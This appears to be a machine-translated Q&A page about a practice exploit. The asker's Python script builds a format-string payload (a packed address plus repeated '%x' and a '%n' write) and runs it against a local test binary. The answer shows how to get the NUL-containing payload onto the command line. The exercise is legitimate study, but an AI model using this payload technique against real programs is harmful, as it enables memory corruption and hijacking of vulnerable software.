“必须是不包含空字节的字符串”或“不能将str连接为字节”在命令行上传递有效负载

麦可

我正在尝试为练习创建漏洞利用程序,但是以下代码存在问题:

#!/usr/bin/python
import os
import struct
address = struct.pack("I",0x201014)
payload = address+"." + ".%x."*131 + ".%n."
os.system("/home/osboxes/Desktop/formatString " + payload)

但是错误如下:TypeError:system()参数1必须是不包含空字节的字符串,而不是str

我正在尝试使用“ subprocess”实用程序升级到当前版本的python:

#!/usr/bin/python3
import subprocess
import struct
address = struct.pack("I",0x201014)
payload = address+"." + ".%x."*131 + ".%n."
subprocess.call("/home/osboxes/Desktop/formatString " + payload, shell=True)

但是错误如下:TypeError:无法将str连接为字节

如何解决两个版本的字节或str转换问题?两个程序都同意该错误在“有效载荷= ...”行中

查尔斯·达菲

该字符串不能在UNIX上作为命令行参数传递。

为什么?因为它包含NUL文字,并且UNIX命令行由C字符串组成-C字符串以NUL终止。

>>> address = struct.pack("I",0x201014)
>>> address
b'\x14\x10 \x00'

看到了\x00吗?不允许,不可能-至少不作为一个命令行参数。


但是,只要将其拆分为多个参数,就可以将其放在argv中。请注意shell=False以下几点:

payload = (address + (b'.%x.' * 131) + b'.%n.').split(b'\0')
subprocess.call(['/home/osboxes/Desktop/formatString'] + payload)

这是如何运作的?因为终止每个单独的C字符串\x00s隐式存在于边界点处。

本文收集自互联网,转载请注明来源。

如有侵权,请联系[email protected] 删除。

编辑于
0

我来说两句

0条评论
登录后参与评论

相关文章

来自分类Dev

Node.js:路径必须是不包含空字节的字符串

来自分类Dev

Node.js:路径必须是不包含空字节的字符串

来自分类Dev

源代码字符串不能包含空字节

来自分类Dev

将字节连接为字符串

来自分类Dev

在命令行上连接到 postgres 有效,但不能使用 PDO

来自分类Dev

有效负载字节与实际字节不同

来自分类Dev

有效负载字节与实际字节不同

来自分类Dev

PyInstaller“ ValueError:源代码字符串不能包含空字节”

来自分类Dev

从字符串中有效删除前缀,包括无效字节

来自分类Dev

即使在命令行中传递的参数中包含“未找到子字符串”

来自分类Dev

从脚本中将包含空格的字符串作为命令行参数传递

来自分类Dev

使用python在JSON有效负载中传递字符串

来自分类Dev

如何格式化字节字符串以使用 cbt set(云 bigtable 命令行工具)设置值?

来自分类Dev

处理用户发送的“字符串包含空字节”

来自分类Dev

在“ initialize”中:字符串包含空字节的Ruby

来自分类Dev

训练 '\x00' s 和 TypeError: stat() 参数 1 必须是没有空字节的编码字符串,而不是 str

来自分类Dev

无法调用方法。消息有效负载的类型为:字符串

来自分类Dev

为请求API有效负载创建变量字符串

来自分类Dev

将字符串有效负载解析为Json的Javascript

来自分类Dev

通过推送通知将JSON有效负载数据获取为字符串

来自分类Dev

Google Cloud Messaging:有效负载值始终为字符串

来自分类Dev

通过命令行传递JSON字符串

来自分类Dev

解析请求有效负载字符串

来自分类Dev

Heroku:字符串,不包含NULL字节,带有多个需求文件

来自分类Dev

如何正确传递带有空格的字符串作为单独的命令行参数?

来自分类Dev

Mule DB连接器抛出错误:null(java.lang.NullPointerException)。消息有效负载的类型为:字符串

来自分类Dev

Mule DB连接器抛出错误:null(java.lang.NullPointerException)。消息有效负载的类型为:字符串

来自分类Dev

有效负载大小大于125个字节

来自分类Dev

带有空字节的Ruby字符串

Related 相关文章

  1. 1

    Node.js:路径必须是不包含空字节的字符串

  2. 2

    Node.js:路径必须是不包含空字节的字符串

  3. 3

    源代码字符串不能包含空字节

  4. 4

    将字节连接为字符串

  5. 5

    在命令行上连接到 postgres 有效,但不能使用 PDO

  6. 6

    有效负载字节与实际字节不同

  7. 7

    有效负载字节与实际字节不同

  8. 8

    PyInstaller“ ValueError:源代码字符串不能包含空字节”

  9. 9

    从字符串中有效删除前缀,包括无效字节

  10. 10

    即使在命令行中传递的参数中包含“未找到子字符串”

  11. 11

    从脚本中将包含空格的字符串作为命令行参数传递

  12. 12

    使用python在JSON有效负载中传递字符串

  13. 13

    如何格式化字节字符串以使用 cbt set(云 bigtable 命令行工具)设置值?

  14. 14

    处理用户发送的“字符串包含空字节”

  15. 15

    在“ initialize”中:字符串包含空字节的Ruby

  16. 16

    训练 '\x00' s 和 TypeError: stat() 参数 1 必须是没有空字节的编码字符串,而不是 str

  17. 17

    无法调用方法。消息有效负载的类型为:字符串

  18. 18

    为请求API有效负载创建变量字符串

  19. 19

    将字符串有效负载解析为Json的Javascript

  20. 20

    通过推送通知将JSON有效负载数据获取为字符串

  21. 21

    Google Cloud Messaging:有效负载值始终为字符串

  22. 22

    通过命令行传递JSON字符串

  23. 23

    解析请求有效负载字符串

  24. 24

    Heroku:字符串,不包含NULL字节,带有多个需求文件

  25. 25

    如何正确传递带有空格的字符串作为单独的命令行参数?

  26. 26

    Mule DB连接器抛出错误:null(java.lang.NullPointerException)。消息有效负载的类型为:字符串

  27. 27

    Mule DB连接器抛出错误:null(java.lang.NullPointerException)。消息有效负载的类型为:字符串

  28. 28

    有效负载大小大于125个字节

  29. 29

    带有空字节的Ruby字符串

热门标签

归档